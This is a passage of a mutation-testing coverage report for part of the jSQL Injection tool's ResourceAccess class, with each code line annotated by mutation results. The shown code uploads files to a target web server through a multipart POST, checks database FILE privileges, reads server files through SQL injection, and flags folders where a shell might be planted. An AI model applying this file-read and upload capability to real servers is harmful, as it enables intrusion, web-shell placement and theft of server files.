() -> logUrlFileFixed, |
672 |
1
1. lambda$uploadFile$4 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$4 → NO_COVERAGE |
() -> this.filenameUpload, |
673 |
1
1. lambda$uploadFile$5 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$5 → NO_COVERAGE |
() -> logPathShellFixed, |
674 |
1
1. lambda$uploadFile$6 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$6 → NO_COVERAGE |
() -> this.filenameUpload |
675 | ); | |
676 | | |
677 | try (InputStream streamToUpload = new FileInputStream(file)) { | |
678 | ||
679 | HttpResponse<String> result = this.upload(file, urlFileFixed +"/"+ this.filenameUpload, streamToUpload); | |
680 | | |
681 |
1
1. uploadFile : removed call to com/jsql/model/accessible/ResourceAccess::confirmUpload → NO_COVERAGE |
this.confirmUpload(file, pathShellFixed, urlFileFixed, result); |
682 | } | |
683 | } else { | |
684 | throw this.getIntegrityError(sourcePage); | |
685 | } | |
686 | | |
687 | var request = new Request(); | |
688 |
1
1. uploadFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.END_UPLOAD); |
689 |
1
1. uploadFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
690 | } | |
691 | ||
692 | private HttpResponse<String> upload(File file, String string, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException { | |
693 | | |
694 | var crLf = "\r\n"; | |
695 | var boundary = "---------------------------4664151417711"; | |
696 | | |
697 | var streamData = new byte[streamToUpload.available()]; | |
698 | | |
699 |
1
1. upload : negated conditional → NO_COVERAGE |
if (streamToUpload.read(streamData) == -1) { |
700 | throw new JSqlException("Error reading the file"); | |
701 | } | |
702 | | |
703 | String headerForm = StringUtils.EMPTY; | |
704 | headerForm += "--"+ boundary + crLf; | |
705 | headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf; | |
706 | headerForm += "Content-Type: binary/octet-stream"+ crLf; | |
707 | headerForm += crLf; | |
708 | ||
709 | String headerFile = StringUtils.EMPTY; | |
710 | headerFile += crLf +"--"+ boundary +"--"+ crLf; | |
711 | ||
712 | var httpRequest = HttpRequest.newBuilder() | |
713 | .uri(URI.create(string)) | |
714 | .timeout(Duration.ofSeconds(15)) | |
715 | .POST( | |
716 | BodyPublishers.ofByteArrays( | |
717 | Arrays.asList( | |
718 | headerForm.getBytes(StandardCharsets.UTF_8), | |
719 | Files.readAllBytes(Paths.get(file.toURI())), | |
720 | headerFile.getBytes(StandardCharsets.UTF_8) | |
721 | ) | |
722 | ) | |
723 | ) | |
724 | .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary) | |
725 | .build(); | |
726 | | |
727 |
1
1. upload : replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE |
return this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().send(httpRequest, BodyHandlers.ofString()); |
728 | } | |
729 | ||
730 | private void confirmUpload(File file, String pathShellFixed, String urlFileFixed, HttpResponse<String> httpResponse) { | |
731 | | |
732 |
1
1. confirmUpload : negated conditional → NO_COVERAGE |
if (httpResponse.body().contains(DataAccess.LEAD + "y")) { |
733 | LOGGER.log( | |
734 | LogLevelUtil.CONSOLE_SUCCESS, | |
735 | "File '{}' uploaded into '{}'", | |
736 | file::getName, | |
737 |
1
1. lambda$confirmUpload$7 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$7 → NO_COVERAGE |
() -> pathShellFixed |
738 | ); | |
739 | } else { | |
740 | LOGGER.log( | |
741 | LogLevelUtil.CONSOLE_ERROR, | |
742 | "Upload file '{}' into '{}' failed", | |
743 | file::getName, | |
744 |
1
1. lambda$confirmUpload$8 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$8 → NO_COVERAGE |
() -> pathShellFixed |
745 | ); | |
746 | } | |
747 | | |
748 | Map<String, String> headers = ConnectionUtil.getHeadersMap(httpResponse); | |
749 | | |
750 | Map<Header, Object> msgHeader = new EnumMap<>(Header.class); | |
751 | msgHeader.put(Header.URL, urlFileFixed); | |
752 | msgHeader.put(Header.POST, StringUtils.EMPTY); | |
753 | msgHeader.put(Header.HEADER, StringUtils.EMPTY); | |
754 | msgHeader.put(Header.RESPONSE, headers); | |
755 | msgHeader.put(Header.SOURCE, httpResponse.toString()); | |
756 | | |
757 | var request = new Request(); | |
758 |
1
1. confirmUpload : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.MESSAGE_HEADER); |
759 |
1
1. confirmUpload : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(msgHeader); |
760 |
1
1. confirmUpload : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
761 | } | |
762 | | |
763 | /** | |
764 | * Check if current user can read files. | |
765 | * @return True if user can read file, false otherwise | |
766 | * @throws JSqlException when an error occurs during injection | |
767 | */ | |
768 | public boolean isReadingNotAllowed() throws JSqlException { | |
769 | | |
770 | // Unsupported Reading file when <file> is not present in current xmlModel | |
771 | // Fix #41055: NullPointerException on getFile() | |
772 |
1
1. isReadingNotAllowed : negated conditional → NO_COVERAGE |
if (this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getResource().getFile() == null) { |
773 | | |
774 | LOGGER.log( | |
775 | LogLevelUtil.CONSOLE_ERROR, | |
776 | "Reading file on {} is currently not supported", | |
777 |
1
1. lambda$isReadingNotAllowed$9 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$isReadingNotAllowed$9 → NO_COVERAGE |
() -> this.injectionModel.getMediatorVendor().getVendor() |
778 | ); | |
779 |
1
1. isReadingNotAllowed : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE |
return true; |
780 | } | |
781 | | |
782 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
783 | ||
784 | String resultInjection = new SuspendableGetRows(this.injectionModel).run( | |
785 | this.injectionModel.getMediatorVendor().getVendor().instance().sqlPrivilegeTest(), | |
786 | sourcePage, | |
787 | false, | |
788 | 1, | |
789 | AbstractElementDatabase.MOCK, | |
790 | "privilege" | |
791 | ); | |
792 | ||
793 | boolean readingIsAllowed = false; | |
794 | ||
795 |
1
1. isReadingNotAllowed : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(resultInjection)) { |
796 | | |
797 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE |
this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim()); |
798 | var request = new Request(); | |
799 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE); |
800 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
801 | ||
802 |
1
1. isReadingNotAllowed : negated conditional → NO_COVERAGE |
} else if ("false".equals(resultInjection)) { |
803 | | |
804 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted to current user: files not readable"); | |
805 | var request = new Request(); | |
806 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE); |
807 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
808 | ||
809 | } else { | |
810 | | |
811 | var request = new Request(); | |
812 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE); |
813 |
1
1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
814 | readingIsAllowed = true; | |
815 | } | |
816 | | |
817 |
2
1. isReadingNotAllowed : negated conditional → NO_COVERAGE 2. isReadingNotAllowed : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE |
return !readingIsAllowed; |
818 | } | |
819 | ||
820 | /** | |
821 | * Attempt to read files in parallel by their path from the website using injection. | |
822 | * Reading file needs a FILE right on the server. | |
823 | * The user can interrupt the process at any time. | |
824 | * @param pathsFiles List of file paths to read | |
825 | * @throws JSqlException when an error occurs during injection | |
826 | * @throws InterruptedException if the current thread was interrupted while waiting | |
827 | * @throws ExecutionException if the computation threw an exception | |
828 | */ | |
829 | public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException { | |
830 | ||
831 | if ( | |
832 |
1
1. readFile : negated conditional → NO_COVERAGE |
this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql() |
833 |
1
1. readFile : negated conditional → NO_COVERAGE |
&& this.isReadingNotAllowed() |
834 | ) { | |
835 | return Collections.emptyList(); | |
836 | } | |
837 | ||
838 | var countFileFound = 0; | |
839 | var results = new ArrayList<String>(); | |
840 | ||
841 | ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile"); | |
842 | CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor); | |
843 | ||
844 | for (String pathFile: pathsFiles) { | |
845 | ||
846 | var callableFile = new CallableFile(pathFile, this.injectionModel); | |
847 | taskCompletionService.submit(callableFile); | |
848 | ||
849 | this.getCallablesReadFile().add(callableFile); | |
850 | } | |
851 | ||
852 | List<String> duplicate = new ArrayList<>(); | |
853 | int submittedTasks = pathsFiles.size(); | |
854 | int tasksHandled; | |
855 | ||
856 | for ( | |
857 | tasksHandled = 0 | |
858 |
3
1. readFile : changed conditional boundary → NO_COVERAGE 2. readFile : negated conditional → NO_COVERAGE 3. readFile : negated conditional → NO_COVERAGE |
; tasksHandled < submittedTasks && !this.isSearchFileStopped() |
859 | ; tasksHandled++ | |
860 | ) { | |
861 | ||
862 | var currentCallable = taskCompletionService.take().get(); | |
863 | ||
864 |
1
1. readFile : negated conditional → NO_COVERAGE |
if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) { |
865 | ||
866 | var name = currentCallable.getPathFile() | |
867 |
1
1. readFile : Replaced integer addition with subtraction → NO_COVERAGE |
.substring(currentCallable.getPathFile().lastIndexOf('/') + 1); |
868 | String content = currentCallable.getSourceFile(); | |
869 | String path = currentCallable.getPathFile(); | |
870 | ||
871 | var request = new Request(); | |
872 |
1
1. readFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.CREATE_FILE_TAB); |
873 |
1
1. readFile : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(name, content, path); |
874 |
1
1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
875 | ||
876 |
1
1. readFile : negated conditional → NO_COVERAGE |
if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) { |
877 | LOGGER.log( | |
878 | LogLevelUtil.CONSOLE_INFORM, | |
879 | "Shell might be possible in folder {}", | |
880 |
1
1. lambda$readFile$10 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$10 → NO_COVERAGE |
() -> path.replace(name, StringUtils.EMPTY) |
881 | ); | |
882 | } | |
883 | ||
884 | duplicate.add(path.replace(name, StringUtils.EMPTY)); | |
885 | results.add(content); | |
886 | ||
887 |
1
1. readFile : Changed increment from 1 to -1 → NO_COVERAGE |
countFileFound++; |
888 | } | |
889 | } | |
890 | ||
891 | // Force ongoing suspendables to stop immediately | |
892 | for (CallableFile callableReadFile: this.getCallablesReadFile()) { | |
893 |
1
1. readFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE |
callableReadFile.getSuspendableReadFile().stop(); |
894 | } | |
895 | ||
896 |
1
1. readFile : removed call to java/util/List::clear → NO_COVERAGE |
this.getCallablesReadFile().clear(); |
897 |
1
1. readFile : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE |
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor); |
898 |
1
1. readFile : removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE |
this.setSearchFileStopped(false); |
899 | ||
900 | var result = String.format( | |
901 | "Found %s file%s%s on %s files checked", | |
902 | countFileFound, | |
903 |
2
1. readFile : negated conditional → NO_COVERAGE 2. readFile : changed conditional boundary → NO_COVERAGE |
countFileFound > 1 ? 's' : StringUtils.EMPTY, |
904 |
1
1. readFile : negated conditional → NO_COVERAGE |
tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed " : StringUtils.EMPTY, |
905 | submittedTasks | |
906 | ); | |
907 | ||
908 |
2
1. readFile : negated conditional → NO_COVERAGE 2. readFile : changed conditional boundary → NO_COVERAGE |
if (countFileFound > 0) { |
909 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result); | |
910 | } else { | |
911 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result); | |
912 | } | |
913 | ||
914 | var request = new Request(); | |
915 |
1
1. readFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.END_FILE_SEARCH); |
916 |
1
1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
917 | ||
918 |
1
1. readFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE |
return results; |
919 | } | |
920 | | |
921 | /** | |
922 | * Mark the search of files to stop. | |
923 | * Any ongoing file reading is interrupted and any new file read | |
924 | * is cancelled. | |
925 | */ | |
926 | public void stopSearchingFile() { | |
927 | | |
928 |
1
1. stopSearchingFile : removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE |
this.setSearchFileStopped(true); |
929 | | |
930 | // Force ongoing suspendable to stop immediately | |
931 | for (CallableFile callable: this.getCallablesReadFile()) { | |
932 |
1
1. stopSearchingFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE |
callable.getSuspendableReadFile().stop(); |
933 | } | |
934 | } | |
935 | | |
936 | private JSqlException getIntegrityError(String[] sourcePage) { | |
937 |
1
1. getIntegrityError : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getIntegrityError → NO_COVERAGE |
return new JSqlException("Payload integrity check failure: "+ sourcePage[0].trim().replace("\\n", "\\\\\\n")); |
938 | } | |
939 | | |
940 | | |
941 | // Getters and setters | |
942 | | |
943 | public boolean isSearchAdminStopped() { | |
944 |
2
1. isSearchAdminStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE 2. isSearchAdminStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE |
return this.isSearchAdminStopped; |
945 | } | |
946 | ||
947 | public void setSearchAdminStopped(boolean isSearchAdminStopped) { | |
948 | this.isSearchAdminStopped = isSearchAdminStopped; | |
949 | } | |
950 | | |
951 | public void setScanStopped(boolean isScanStopped) { | |
952 | this.isScanStopped = isScanStopped; | |
953 | } | |
954 | ||
955 | public boolean isScanStopped() { | |
956 |
2
1. isScanStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE 2. isScanStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE |
return this.isScanStopped; |
957 | } | |
958 | ||
959 | public boolean isSearchFileStopped() { | |
960 |
2
1. isSearchFileStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE 2. isSearchFileStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE |
return this.isSearchFileStopped; |
961 | } | |
962 | ||
963 | public void setSearchFileStopped(boolean isSearchFileStopped) { | |
964 | this.isSearchFileStopped = isSearchFileStopped; | |
965 | } | |
966 | ||
967 | public List<CallableFile> getCallablesReadFile() { | |
968 |
1
1. getCallablesReadFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::getCallablesReadFile → NO_COVERAGE |
return this.callablesReadFile; |
969 | } | |
970 | } | |
Mutations | ||
123 |
1.1 2.2 |
|
128 |
1.1 |
|
154 |
1.1 |
|
159 |
1.1 2.2 3.3 |
|
165 |
1.1 |
|
166 |
1.1 |
|
167 |
1.1 |
|
170 |
1.1 |
|
171 |
1.1 |
|
173 |
1.1 |
|
183 |
1.1 |
|
186 |
1.1 |
|
187 |
1.1 |
|
188 |
1.1 |
|
190 |
1.1 |
|
196 |
1.1 |
|
202 |
1.1 |
|
210 |
1.1 2.2 |
|
211 |
1.1 |
|
213 |
1.1 2.2 |
|
216 |
1.1 2.2 |
|
227 |
1.1 |
|
228 |
1.1 |
|
232 |
1.1 |
|
235 |
1.1 |
|
242 |
1.1 |
|
243 |
1.1 |
|
249 |
1.1 |
|
252 |
1.1 |
|
268 |
1.1 |
|
279 |
1.1 |
|
304 |
1.1 |
|
313 |
1.1 |
|
318 |
1.1 |
|
322 |
1.1 |
|
330 |
1.1 |
|
339 |
1.1 |
|
349 |
1.1 |
|
352 |
1.1 |
|
380 |
1.1 2.2 |
|
384 |
1.1 |
|
395 |
1.1 |
|
402 |
1.1 |
|
404 |
1.1 |
|
451 |
1.1 |
|
458 |
1.1 |
|
459 |
1.1 |
|
460 |
1.1 |
|
462 |
1.1 |
|
485 |
1.1 |
|
489 |
1.1 |
|
496 |
1.1 |
|
498 |
1.1 |
|
504 |
1.1 |
|
505 |
1.1 |
|
506 |
1.1 |
|
508 |
1.1 |
|
530 |
1.1 |
|
532 |
1.1 |
|
546 |
1.1 |
|
555 |
1.1 2.2 |
|
560 |
1.1 |
|
561 |
1.1 2.2 |
|
567 |
1.1 |
|
575 |
1.1 |
|
583 |
1.1 |
|
590 |
1.1 |
|
604 |
1.1 |
|
618 |
1.1 |
|
646 |
1.1 |
|
654 |
1.1 |
|
660 |
1.1 |
|
664 |
1.1 |
|
671 |
1.1 |
|
672 |
1.1 |
|
673 |
1.1 |
|
674 |
1.1 |
|
681 |
1.1 |
|
688 |
1.1 |
|
689 |
1.1 |
|
699 |
1.1 |
|
727 |
1.1 |
|
732 |
1.1 |
|
737 |
1.1 |
|
744 |
1.1 |
|
758 |
1.1 |
|
759 |
1.1 |
|
760 |
1.1 |
|
772 |
1.1 |
|
777 |
1.1 |
|
779 |
1.1 |
|
795 |
1.1 |
|
797 |
1.1 |
|
799 |
1.1 |
|
800 |
1.1 |
|
802 |
1.1 |
|
806 |
1.1 |
|
807 |
1.1 |
|
812 |
1.1 |
|
813 |
1.1 |
|
817 |
1.1 2.2 |
|
832 |
1.1 |
|
833 |
1.1 |
|
858 |
1.1 2.2 3.3 |
|
864 |
1.1 |
|
867 |
1.1 |
|
872 |
1.1 |
|
873 |
1.1 |
|
874 |
1.1 |
|
876 |
1.1 |
|
880 |
1.1 |
|
887 |
1.1 |
|
893 |
1.1 |
|
896 |
1.1 |
|
897 |
1.1 |
|
898 |
1.1 |
|
903 |
1.1 2.2 |
|
904 |
1.1 |
|
908 |
1.1 2.2 |
|
915 |
1.1 |
|
916 |
1.1 |
|
918 |
1.1 |
|
928 |
1.1 |
|
932 |
1.1 |
|
937 |
1.1 |
|
944 |
1.1 2.2 |
|
956 |
1.1 2.2 |
|
960 |
1.1 2.2 |
|
968 |
1.1 |